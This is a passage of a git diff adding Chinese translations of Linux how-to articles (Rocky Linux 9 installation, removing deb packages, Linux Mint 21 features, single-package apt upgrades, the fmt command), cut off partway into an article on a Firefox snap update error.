用户的密码,并单击 执行Done 按钮。 + +再次回到 用户设置User Settings 下,单击 用户创建User Creation 按钮,具体指定本地用户的详细信息,例如用户名称和密码。 + +![Local-User-Create-During-RockyLinux9-Installation][15] + +单击 执行Done 按钮,它也将返回到安装摘要。 + +现在,我们准备开始安装,单击开始安装Begin Installation 按钮, + +![Begin-Installation-Option-RockyLinux9][16] + +### 5、安装过程开始 + +在这一步骤中,安装程序已经开始了,并在正在进行中, + +![RockyLinux9-Installation-Progress][17] + +在安装过程完成后,安装程序将提示你重新启动系统。 + +![Reboot-System-after-RockyLinux9-Installation][18] + +单击 重新启动系统Reboot System 按钮。 + +注意:不要忘记在 BIOS 设置中将可启动介质从 USB 启动更改为硬盘驱动器启动。 + +### 6、安装后的登录屏幕和桌面环境 + +在成功安装后,当系统启动时,我们将看到下面的登录屏幕: + +![RockyLinux9-Loginscreen-Post-Installation][19] + +使用我们在安装期间创建的用户名称和密码,按下 回车enter 按键来登录。 + +![Desktop-Env-RockyLinux9][20] + +打开终端,依次运行下面的命令: + +``` +$ sudo dnf install epel-release -y +$ sudo dnf install neofetch -y +``` + +现在,来验证系统的详细信息,运行 `neofetch` 命令: + +``` +$ neofetch +``` + +![neofetch-rockylinux9-post-installation][21] + +这就是这篇指南的全部内容,我希望它对你有用。请在下面的评论区贴出你的疑问和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-rocky-linux-9-step-by-step/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://rockylinux.org/download +[2]: https://www.linuxtechi.com/create-bootable-usb-disk-dvd-ubuntu-linux-mint/ +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Select-Install-Rocky-Linux-9-option.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Preferred-Language-for-RockyLinux9-Installation.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Initial-Installation-Summary-Rocky-Linux9.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Choose-custom-Storage-Configuration-Rocky-Linux9.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Standard-Partition-Scheme-RockyLinux9.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Boot-Partition-RockyLinux9-Installation.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Slash-Partition-Rocky-Linux9-installation.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Home-Partition-Rocky-Linux9-Installation.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Swap-Partition-RockyLinux9-Installation.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Finish-Manual-Partitioning-RockyLinux9-Installation.png +[13]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Accept-Changes-to-Write-on-Disk-RockyLinux9.png +[14]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Set-Root-Password-RockyLinux9-Instalation.png +[15]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Local-User-Create-During-RockyLinux9-Installation.png +[16]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Begin-Installation-Option-RockyLinux9.png +[17]: https://www.linuxtechi.com/wp-content/uploads/2022/07/RockyLinux9-Installation-Progress.png +[18]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Reboot-System-after-RockyLinux9-Installation.png +[19]: https://www.linuxtechi.com/wp-content/uploads/2022/07/RockyLinux9-Loginscreen-Post-Installation.png +[20]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Desktop-Env-RockyLinux9.png +[21]: https://www.linuxtechi.com/wp-content/uploads/2022/07/neofetch-rockylinux9-post-installation.png diff --git a/published/202208/20220719 How to Uninstall Deb Packages in Ubuntu.md b/published/202208/20220719 How to Uninstall Deb Packages in Ubuntu.md new file mode 100644 index 0000000000..5f4040f977 --- /dev/null +++ b/published/202208/20220719 How to Uninstall Deb Packages in Ubuntu.md @@ -0,0 +1,133 @@ +[#]: subject: "How to Uninstall Deb Packages in Ubuntu" +[#]: via: "https://itsfoss.com/uninstall-deb-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14885-1.html" + +如何在 Ubuntu 中卸载 deb 包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/01/180906afaqifcsqqsfsxyq.jpg) + +[从 .deb 文件安装应用][1] 非常简单。双击它,它会在软件中心中打开,然后从那里安装它。 + +但是如何在 Ubuntu 或 Debian 中卸载 deb 包呢?如何删除一段时间前安装的软件包呢。 + +虽然这有几个如果和但是,但删除 .deb 文件的最简单和最可靠的方法是使用 `apt remove` 命令。 + +``` +sudo apt remove program_name +``` + +如你所见,**你需要在这里知道确切的包名称**。这可能并不总是显而易见的。例如,如果你在 Ubuntu 上安装 Google Chrome,则该程序在命令行中称为 “google-chrome-stable”。你已经知道了吗?我猜你不知道。 + +在本教程中,我将详细介绍如何找到确切的包名称,然后使用它来删除应用。我还将讨论使用图形方法删除 deb 包。 + +### 从 Ubuntu 中删除通过 .deb 文件安装的软件包 + +在我向你展示如何从命令行删除 deb 包之前,让我们在软件中心应用中快速查看它。 + +#### 方法 1:检查应用是否可以从软件中心移除 + +Ubuntu 有软件中心 GUI 应用,允许搜索、安装和删除应用。 + +搜索时,软件中心可能不会显示已安装的应用。 + +![Searching for installed applications may not show any results in Ubuntu Software Center][2] + +但是,如果向下滚动,你仍可能在“已安装”部分下找到它。外部应用通常不带徽标显示。 + +![Some installed applications can be found in the ‘installed’ tab of the Software Center][3] + +如果找到它,你可以通过单击“垃圾桶”图标或“删除”按钮来删除该应用。 + +![Removing applications from the Ubuntu software center][4] + +**一句话:检查是否可以从软件中心删除应用。** + +#### 方法 2:使用 apt 命令删除应用 + +我假设你不知道该应用命令的确切名称。你可能不知道 Google Chrome 安装为 google-chrome-stable 而 Edge 安装为 microsoft-edge-stable,这很正常。 + +如果你知道前几个字母,那么 tab 补全可能会有所帮助。否则,你可以 [使用 apt 命令列出已安装的应用][5] 并使用 `grep` 搜索应用程序名称: + +``` +apt list --installed | grep -i possible_package_name +``` + +例如,你可以智能地猜测 Google Chrome 包的名称中应该包含 chrome。你可以这样搜索: + +``` +apt list --installed | grep -i chrome +``` + +在某些情况下,你可能会得到多个结果。 + +![check if google chrome installed in ubuntu][6] + +如果你不确定这些软件包的作用,你可以随时通过以下方式获取它们的详细信息: + +``` +apt info exact_package_name +``` + +获得确切的软件包名称后,你可以使用 `apt remove` 命令将其删除。 + +``` +sudo apt remove exact_package_name +``` + +你还可以使用 `apt-get remove` 或 `dpkg uninstall` 命令来删除。 + +![Removing applications installed via .deb files using the apt command][7] + +#### 方法 3:使用 Synaptic 包管理器删除 deb 应用 + +另一种方法是使用 [Synaptic 包管理器][8]。在 GNOME 以“软件中心”的形式创建其图形包管理器之前,Synaptic 是 Ubuntu 和许多其他发行版中的默认 GUI 包管理器。 + +它仍然是 [Xfce 桌面环境][9] 上的推荐工具。 + +首先安装它: + +``` +sudo apt install synaptic +``` + +打开 Synaptic 并搜索包名称。查找标记为绿色的已安装软件包。右键单击它们,然后单击“标记为删除”。之后点击应用。 + +![Removing Deb packages using Synaptic package manager][10] + +### 对你有帮助吗? + +我非常乐意使用 `apt` 命令删除从 .deb 文件中安装的软件包。但我可以理解,并不是每个人都喜欢使用命令行。 + +在删除从外部 .deb 文件安装的应用时,我发现软件中心中找不到它。软件中心还可以做的更好一些。 + +我希望你现在对删除 deb 包有更好的了解。如果你有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/uninstall-deb-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-deb-files-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/07/search-for-installed-applications-ubuntu-software-center.png +[3]: https://itsfoss.com/wp-content/uploads/2022/07/installed-applications-in-ubuntu-software-center-scaled.webp +[4]: https://itsfoss.com/wp-content/uploads/2022/07/removing-applications-from-ubuntu-software-center-scaled.webp +[5]: https://itsfoss.com/list-installed-packages-ubuntu/ +[6]: https://itsfoss.com/wp-content/uploads/2022/07/check-if-google-chrome-installed-in-Ubuntu.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/removing-deb-files-applications-ubuntu.png +[8]: https://itsfoss.com/synaptic-package-manager/ +[9]: https://www.xfce.org/ +[10]: https://itsfoss.com/wp-content/uploads/2022/07/removing-deb-files-using-synaptic-scaled.webp diff --git a/published/202208/20220719 Top 10 Features of Linux Mint 21 -Vanessa-.md b/published/202208/20220719 Top 10 Features of Linux Mint 21 -Vanessa-.md new file mode 100644 index 0000000000..651a28a227 --- /dev/null +++ b/published/202208/20220719 Top 10 Features of Linux Mint 21 -Vanessa-.md @@ -0,0 +1,188 @@ +[#]: subject: "Top 10 Features of Linux Mint 21 “Vanessa”" +[#]: via: "https://www.debugpoint.com/linux-mint-21-features/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14894-1.html" + +Linux Mint 21 “Vanessa” 的 10 大特色 +====== + +> 我们总结了 Linux Mint 21 “Vanessa” 的 10 大特色,你可以看看有哪些是为你而准备的。 + +![](https://www.debugpoint.com/wp-content/uploads/2022/07/mint21feature.jpg) + +Linux Mint 21 “Vanessa” 是 [Linux Mint][2] 的第 36 个发布版本,它带来了一系列特色,以及对桌面上的有用改善。这些特色散落在 Cinnamon 桌面、内核变化、Xapps 更新等处。 + +我在这份 Linux Mint 21 的重要特色列表对它们做了个总结。 + +### Linux Mint 21 “Vanessa” 的重要特色 + +![Linux Mint 21 Cinnamon Desktop][1] + +#### 1、Ubuntu 22.04 及其相关更新 + +也许最重要的变化就是 Linux Mint 21 的基础了,它现在基于 [Ubuntu 22.04 “Jammy Jellyfish”][3] 。上一次的主要版本,即 Linux Mint 20 “Ulyana” ,是基于四年前发布的 Ubuntu 20.04 “Focal Fossa” 。沧海桑田,现在与 2020 年的世界已然完全不同。 + +因此,大量的软件包、版本升级、新的性能改善 —— 所有的这些底层更新都来到了 Linux Mint 21 。这包括最新的长期支持的 [Linux 内核 5.15][4] ,这带来了更多硬件系列的支持、以及针对编程、开发和网络的工具链的更新。 + +#### 2、Timeshift 备份工具的重大变化 + +几个月前,Mint 开发团队 [宣布][5] :他们将接管著名的备份工具 Timeshift,并将其作为一个 “XApps” 继续开发。这是一个重大变化。你可能会问为什么? + +好吧,Timeshift 工具的开发者 Tony George 正忙于其它的项目。你可能听说过 Linux 的 “[TeeJeeTech][6]” 应用。它是由 Tony 创建的,并且有一些很酷的应用。因此,他没有足够多的时间来专注于 Timeshift 的开发和改进。 + +![Timeshift creating snapshot][7] + +说到这里,由于 Linux Mint 现在在维护它,这个发布版本带来了一些新的功能,例如,在 rsync 模式(不是 btrfs 模式)时,现在 Timeshift 可以确定进行下一次备份需要多少磁盘空间。此外,如果它看到磁盘空间在备份后小于 1 GB ,会停止备份过程。 + +#### 3、WebP 支持 + +WebP 图像是谷歌为 Web 创建的一种相当新的图像格式。它带来了更好的压缩率,在保持与传统的 JPEG 和 PNG 图片相当的良好质量的同时,减少了文件大小。 + +在 Linux 桌面支持 WebP(如查看图像、缩略图或编辑)需要 [额外安装][8] 一些软件包。考虑到其流行程度,Linux Mint 开发团队为桌面应用及这个衍生发行版带来了开箱即用的 WebP 支持。 + +这意味着,在 Nemo 文件管理器中可以显示 WebP 图像的缩略图,并可以在 xviewer 中查看它们。Mint 开发团队总是优先考虑到最终用户,而诸如 Ubuntu 之类的其它发行版在默认支持 WebP 方面仍然落后。不仅如此,新的应用程序 [xapp-thumbnailers][9] 现在还能帮助 Nemo 文件管理器预览更多的文件类型,如: + +* ePub +* 带有专辑封面的 MP3 +* RAW 图像 +* AppImage + +#### 4、进程监视器 + +一个名称为 进程监视器process monitor 的小巧方便的工具,将会告知你系统中正在发生什么。当你的系统正在自动更新或通过 Timeshift 备份时,系统托盘上的这个小图标就会显示出来。在这些情况下,你的系统可能会变慢,而这个漂亮的图标可以告诉你原因。 + +#### 5、改善打印支持 + +Linux Mint 针对硬件设备配置了各种驱动程序,默认情况下就支持打印机。这个版本的 Mint 带来 [网络打印协议][10]Internet Printing Protocol(IPP)支持,可以免驱动进行打印和扫描。 + +另外,它也默认安装了 HP 的驱动程序 HPLIP 的最新版本 3.21.12 。 + +所有的这些变化都简化了打印机和扫描仪的使用,而像你这样的最终用户可以轻松地打印和扫描。这是一个 Linux 发行版的一个重要的方面,但并不是总是能顺利工作的。在 [点评过很多发行版][11] 后,我发现很多发行版无法检测到打印机,乃至不能打印。 + +很高兴看到 Mint 开发团队对这个关键功能做出了贡献。 + +#### 6、窗口动画更新 + +窗口和桌面动画效果有一些相当大的变化。首先,合并了窗口和桌面的效果设置。先前,是在不同的部分对动画进行细微的控制。 + +这里是对比视图: + +![][12] + +![][13] + +其次,取消了映射窗口和桌面效果选项。 + +第三,带来一个新的控件,用于更改整体动画的快慢速度。 + +最后,还有一个可以禁用或启用在整个桌面上的所有动画的全局开关,给予你更多的控制选项。 + +我相信这是一个经过精心设计的、可以让人更清楚地了解的对话框和高级选项。 + +#### 7、Mutter 重新构建 + +让我们来看一下随 Linux Mint 21 而来的 [Cinnamon 桌面环境版本 5.4][14]。它是最新的 Cinnamon 发布版本,Mint 是第一个将其带给用户的的发行版(除了传统的 Arch Linux 用户,他们得到它 [有点超早][15])。 + +最后,开发团队对 Cinnamon 5.4 中的窗口管理器 Muffin 根据上游的 Mutter 进行了重新构建。由于 Muffin 最初是从 Mutter 复刻出来的,所以它总是落后于上游的 Mutter 的功能,即使是有一些后期移植的改变。为使 Muffin 尽可能地接近 Mutter 代码库,团队在包含的特色功能、错误修复及清理方面付出了大量的努力。 + +因此,在未来,更容易从 Mutter 上游移植变化和在需要的时候清理 Muffin。 + +#### 8、窗口管理器和 GTK 主题 + +伴随着 Muffin 的变化,开发团队也将 GNOME 控制中心的一些显示设置移动到了 Cinnamon 控制中心。此外,在 Cinnamon 5.4 中,来自 csd-xrandr 的显示配置移动到了 Muffin 窗口管理器中。显然,你不会在显示设置窗口中看到什么不同。不过,在缩放显示或在高分辨率窗口中时,你可能会发现一些性能的提升,以及错误或问题更少一些。 + +Mint 开发团队在 Cinnamon 5.4 引入的另外一个关键变化是,在应用程序中实现 GTK 窗口的统一渲染。先前,如果一个 GTK 应用程序使用了标题栏,那么对话框会是一个 CSD (客户端样式)和 GTK 主题的混合体. + +现在随着 Cinnamon 5.4 的到来,所有的窗口都使用 GTK 主题进行渲染,而不再与它们的设计相关联。于是,传统的 Metacity 主题也被抛弃。 + +顺便说一句,我喜欢 Metacity 及其 “传统外观”,它们是 GNOME 的早期 [产物][16] 。 + +#### 9、软件包管理器更新 + +跟随 Debian、KDE Plasma 桌面的趋势,Linux Mint 也开始保护你的系统不会卸载重要的依赖关系软件包。 + +当你尝试卸载软件包时,Mint 现在会检查依赖关系,并检查重要的桌面软件包是否将会被移除。 + +如果发现这种情况,你将会得到一条阻止你继续卸载软件包的错误信息。 + +在另一方面,当成功地卸载一个软件包时,它会清理所有与之同时安装的依赖软件包。 + +#### 10、禁用 systemd OOMD 服务 + +自从 Ubuntu 22.04 LTS 发布以来,有一些对内存不足守护进程(`systemd-oomd`)不好的反馈。网上的很多用户都 [报告][17] 说:在没有任何警告或用户干预的情况下,会突然关闭应用程序(例如 Firefox)。进一步的调查表明,`systemd-oomd` 的实现情况“不是很好”。 + +理论上说,[systemd-oomd.service][18] 会监视你的系统的内存不足的情况,并且它有权杀死任何多过消耗系统资源的进程。Ubuntu 开发团队并没有和用户强调这一点,最后导致了不愉快的用户的体验。 + +基于这一认识,Linux Mint 21 决定 [不提供][19] 这种服务,禁用它。因为 Linux Mint 的用户群体是普通用户、学生等,如果应用程序意外关闭,对用户来说将是一种不好的体验。 + +![Systemd OOMD service is not enabled][20] + +#### 11、其它变化 + +最后,让我们归纳一些微小却有影响的变化来结束这篇 Linux Mint 21 特色介绍。 + +* 默认的文档阅读器应用程序 Xreader 现在能够进行微小注释。这是一个很方便的功能。 +* WebApp 管理器现在带来了一些自定义的浏览器参数。 +* Warpinator 文件传输器实用工具现在可以向你显示来自 Windows 、Android 和 iOS 设备上的其它的源文件。 +* Mint 将 Firefox 浏览器打包为 .deb 版本,而不是 Ubuntu 22.04 LTS 中的默认 .Snap 版本。感谢 Mint 开发团队,用户不必为卸载 Jammy 中的 Firefox 的 .Snap 版本的而运行 [一套复杂的命令][21]。 + + ![Firefox 102 in Linux Mint 21 – Exclusively packaged as deb executable][22] + +* 批量重命名应用程序 Thingy 在用户界面上做了一些改善。 +* GRUB2 的操作系统检测程序(`os-prober`)现在能够检测出你的硬件系统上所有的操作系统(对双启动或多启动有用)。 +* 蓝牙管理器 Blueman 取代了 Blueberry ,为连接和管理你的蓝牙设备带来了其它的功能。 +* 最后,在这个发布版本中也有为你的新桌面而准备的新壁纸。 + + ![New Wallpapers in Linux Mint 21][23] + +### 没有变化的部分 + +从表明上来看,你可能会觉着 Linux Mint 21 的绝大部分功能与先前的版本相同。默认桌面外观和默认壁纸保持不变。Xfce 和 MATE 桌面也没有发布任何重要的功能。因此,它们是完全一样的。此外,默认图标主题、应用程序菜单等等都可能会给你一种似曾相识的感觉。 + +### 总结 + +总体来说,最终用户需要的是一套完好的特色功能,而不是花哨的手势之类的东西。鉴于此,对初学者或最终用户来说,Linux Mint 是当今最好的 Linux 发行版。至此,这篇 Linux Mint 21 特色的总结就此结束了。 + +你认为 Linux mint 21 的新特色怎么样?在这个发布版本中,是否有一些你所求而未得的特色?让我们在下面的评论区讨论这个问题。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/linux-mint-21-features/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/07/Linux-Mint-21-Cinnamon-Desktop.jpg +[2]: https://www.debugpoint.com/linux-mint/ +[3]: https://www.debugpoint.com/web-stories/ubuntu-22-04-review/ +[4]: https://www.debugpoint.com/linux-kernel-5-15/ +[5]: https://blog.linuxmint.com/?p=4323 +[6]: https://teejeetech.com/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/07/Timeshift-creating-snapshot.jpg +[8]: https://www.debugpoint.com/view-webp-ubuntu-linux/ +[9]: https://github.com/linuxmint/xapp-thumbnailers +[10]: https://datatracker.ietf.org/doc/html/rfc8011 +[11]: https://www.debugpoint.com/tag/linux-distro-review/ +[12]: https://www.debugpoint.com/wp-content/uploads/2022/07/Effects-in-Linux-Mint-20.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/07/Effects-in-Linux-Mint-21.jpg +[14]: https://github.com/linuxmint/cinnamon-desktop/releases/tag/5.4.0 +[15]: https://www.debugpoint.com/cinnamon-arch-linux-install/ +[16]: https://www.debugpoint.com/gnome-classic-ubuntu-22-04/ +[17]: https://askubuntu.com/questions/1404888/how-do-i-disable-the-systemd-oom-process-killer-in-ubuntu-22-04 +[18]: https://www.freedesktop.org/software/systemd/man/systemd-oomd.service.html +[19]: https://debugpointnews.com/linux-mint-21-systemd-oom/ +[20]: https://www.debugpoint.com/wp-content/uploads/2022/07/Systemd-OOMD-service-is-not-enabled.jpg +[21]: https://www.debugpoint.com/remove-firefox-snap-ubuntu/ +[22]: https://www.debugpoint.com/wp-content/uploads/2022/07/Firefox-102-in-Linux-Mint-21-Exclusively-packaged-as-deb-executable.jpg +[23]: https://www.debugpoint.com/wp-content/uploads/2022/07/New-Wallpapers-in-Linux-Mint-21.jpg +[24]: https://github.com/linuxmint/mint21-beta/issues diff --git a/published/202208/20220720 Update a Single Package With apt Command in Ubuntu and Debian.md b/published/202208/20220720 Update a Single Package With apt Command in Ubuntu and Debian.md new file mode 100644 index 0000000000..30d11e48d2 --- /dev/null +++ b/published/202208/20220720 Update a Single Package With apt Command in Ubuntu and Debian.md @@ -0,0 +1,98 @@ +[#]: subject: "Update a Single Package With apt Command in Ubuntu and Debian" +[#]: via: "https://itsfoss.com/apt-upgrade-single-package/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14895-1.html" + +在 Ubuntu 和 Debian 中使用 apt 命令更新单个软件包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/04/165705li66yephvx464ivt.jpg) + +如何 [在命令行中更新你的 Ubuntu 系统][1]?你可以使用 `apt update`(刷新包缓存)和 `apt upgrade` 命令。 + +``` +sudo apt update && sudo apt upgrade +``` + +它会更新所有可以立即升级的已安装 apt 包。这也包括 Linux 内核版本。 + +这似乎是一件好事,尤其是对于桌面用户。但对于运行关键 Web 服务的 Ubuntu 服务器用户而言,情况可能并非如此。 + +如果你想对更新有选择性,并且**只想升级单个软件包**,请使用以下命令: + +``` +sudo apt install --only-upgrade package_name +``` + +让我们更详细地了解一下。 + +### 使用 apt 命令升级单个包 + +第一步是更新本地包仓库缓存,以便你的系统知道有新版本的软件包可用。 + +``` +sudo apt update +``` + +**这是可选的**。查看一下你要升级的软件包是否在 [可升级软件包列表][2] 中。 + +``` +apt list --upgradable +``` + +如果所需的软件包有可用的新版本,你可以选择使用以下命令仅升级该单个软件包: + +``` +sudo apt install --only-upgrade package_name +``` + +如果你对已安装的软件包运行 `apt install` 命令,它将升级到下一个可用版本。 + +但如果该软件包尚未安装,`apt` 命令也会安装它。 + +这就是为什么 `--only-upgrade` 部分是必要的。使用该选项,`apt` 命令只会升级已安装的软件包。如果尚未安装,它将不会安装该软件包。 + +这不是最适合 Ubuntu 服务器用户的示例,但你仍然可以在下面的截图中看到我如何只升级了七个可升级包中的一个。 + +![Update only a single package in Ubuntu][3] + +### 仅升级选定的软件包 + +如果要升级选定的几个软件包,那么不必一一更新。只需使用前面提到的命令提供包名称。 + +``` +sudo apt install --only-upgrade package1 package2 package3 +``` + +这是一个例子。 + +![Upgrade selected packages in Ubuntu][4] + +### 总结 + +当你面临必须升级选定软件包的情况时,你可以使用带有 `–only-upgrade` 选项的 `apt install` 命令。 + +我建议阅读 [如何更有效地使用 apt 命令][5]。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-upgrade-single-package/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/update-ubuntu/ +[2]: https://itsfoss.com/apt-list-upgradable/ +[3]: https://itsfoss.com/wp-content/uploads/2022/07/update-single-package-ubuntu-scaled.webp +[4]: https://itsfoss.com/wp-content/uploads/2022/07/upgrade-selected-packages-ubuntu.png +[5]: https://itsfoss.com/apt-command-guide/ diff --git a/published/202208/20220721 How I use the Linux fmt command to format text.md b/published/202208/20220721 How I use the Linux fmt command to format text.md new file mode 100644 index 0000000000..878a820f83 --- /dev/null +++ b/published/202208/20220721 How I use the Linux fmt command to format text.md @@ -0,0 +1,97 @@ +[#]: subject: "How I use the Linux fmt command to format text" +[#]: via: "https://opensource.com/article/22/7/fmt-trivial-text-formatter" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14886-1.html" + +我是如何使用 Linux fmt 命令来格式化文本 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/01/184300zbyfjayeyqa5pmcb.jpg) + +> fmt 命令是一个简单的文本格式化程序。我将在这里展示如何使用它来格式化文本和邮件回复。 + +当我为项目编写文档时,我经常以纯文本的形式编写自述文件和安装说明。我不需要使用 HTML 或者 Markdown 之类的标记语言来描述项目的功能或如何编译它。但是维护这样的文档可能会很痛苦。如果我需要更新我的 `Readme` 文件中的一个句子的中间位置,我需要重新格式化文本,以避免在我的其它文本中间出现一个很长或很短的行,而其它的行的格式是整整齐齐的 75 列。一些编辑器包含可以自动重新格式化文本以填充段落的功能,但并非所有的编辑器都这样做。这就是 Linux `fmt` 命令的用武之地。 + +### 使用 Linux fmt 命令格式化文本 + +`fmt` 命令是一个简单的文本格式化程序;它收集单词并填充段落,但不应用任何其它文本样式,例如斜体或粗体。这一切都是纯文本。使用 `fmt` 命令,你可以快速调整文本,使其更易于阅读。让我们从这个熟悉的示例文本开始: + +``` +$ cat trek.txt +Space: the final +frontier. These are the voyages +of the starship Enterprise. Its +continuing mission: to explore +strange new worlds. To +seek out new life and new +civilizations. To boldly go +where no one has gone before! +``` + +在这个实例文件中,每行都有不同的长度,并且它们以一种奇怪的方式换行。如果你对纯文本文件进行大量更改,你可以会遇到类似的奇怪的换行。要重新格式化此文本,你可以使用 `fmt` 命令将段落的行填充为统一长度: + +``` +$ fmt trek.txt +Space: the final frontier. These are the voyages of the starship +Enterprise. Its continuing mission: to explore strange new worlds. To +seek out new life and new civilizations. To boldly go where no one has +gone before! +``` + +默认情况下,`fmt` 会将文本格式化为 75 的列宽大小,但你可以使用 `-w` 或 `--width` 选项进行更改: + +``` +$ fmt -w 60 trek.txt +Space: the final frontier. These are the voyages of +the starship Enterprise. Its continuing mission: to +explore strange new worlds. To seek out new life and new +civilizations. To boldly go where no one has gone before! +``` + +### 使用 Linux fmt 命令格式化电子邮件回复 + +我加入了一个邮件列表,这里更喜欢纯文本电子邮件,这使得在列表服务器上归档电子邮件变得更加容易。但现实是并非每个人都以纯文本形式发送电子邮件。有时候,当我以纯文本形式回复这些电子邮件时,我的电子邮件客户端会将整个段落放在一行中。这使得在电子邮件中“引用”回复变得困难。 + +这是一个简单的例子。当我以纯文本形式回复电子邮件时,我的电子邮件客户端通过在每行前添加 `>` 字符来“引用”对方的电子邮件。对于一条短消息,可能如下所示: + +``` +> I like the idea of the interim development builds. +``` + +没有正确“换行”的长行将无法在我的纯文本电子邮件回复中正确显示,因为它只是前面带有 `>` 字符的长行,如下所示: + +``` +> I like the idea of the interim development builds. This should be a great way to test new changes that everyone can experiment with. +``` + +为了解决这个问题,我打开了一个终端并将引用的文本复制并粘贴到一个新文件中。然后我使用 `-p` 或 `--prefix` 选项来告诉 `fmt` 在每一行之前使用什么字符作为“前缀”。 + +``` +$ cat > email.txt +> I like the idea of the interim development builds. This should be a great way to test new changes that everyone can experiment with. +^D +$ fmt -p '>' email.txt +> I like the idea of the interim development builds. This should be a +> great way to test new changes that everyone can experiment with. +``` + +`fmt` 命令是一个非常简单的文本格式化程序,但它可以做很多有用的事情,可以帮助以纯文本形式编写和更新文档。要了解其它选项,例如 `-c` 或 `--crown-margin` 以匹配段落前两行缩进,例如项目列表。还可以尝试使用 `-t` 或者 `--tagged-paragraph` 来保留段落中第一行的缩进,就像缩进的段落一样。`-u` 或 `--uniform-spacing` 选项在单词之间使用一个空格,在句子之间使用两个空格。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/fmt-trivial-text-formatter + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/osdc-docdish-typewriterkeys-3-series.png diff --git a/published/202208/20220722 Fixing the -Pending Update of Firefox snap- Error in Ubuntu.md b/published/202208/20220722 Fixing the -Pending Update of Firefox snap- Error in Ubuntu.md new file mode 100644 index 0000000000..8ff9757d64 --- /dev/null +++ b/published/202208/20220722 Fixing the -Pending Update of Firefox snap- Error in Ubuntu.md @@ -0,0 +1,117 @@ +[#]: subject: "Fixing the “Pending Update of Firefox snap” Error in Ubuntu" +[#]: via: "https://itsfoss.com/pending-update-firefox-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14908-1.html" + +修复 Ubuntu 中的 “Pending Update of Firefox snap” 错误 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/08/154842wquoflgffwyyn2cw.jpg) + +如果你使用的是 Ubuntu 22.04,你可能已收到过此通知。 + +![Notification about pending Firefox app][1] + +它会通知你 Firefox 更新正在等待中,并要求你关闭应用以避免中断。 + +因此,就像一个听话的 Ubuntu 用户一样,你在保存或完成工作后关闭了 Firefox 浏览器。 + +你认为 Firefox 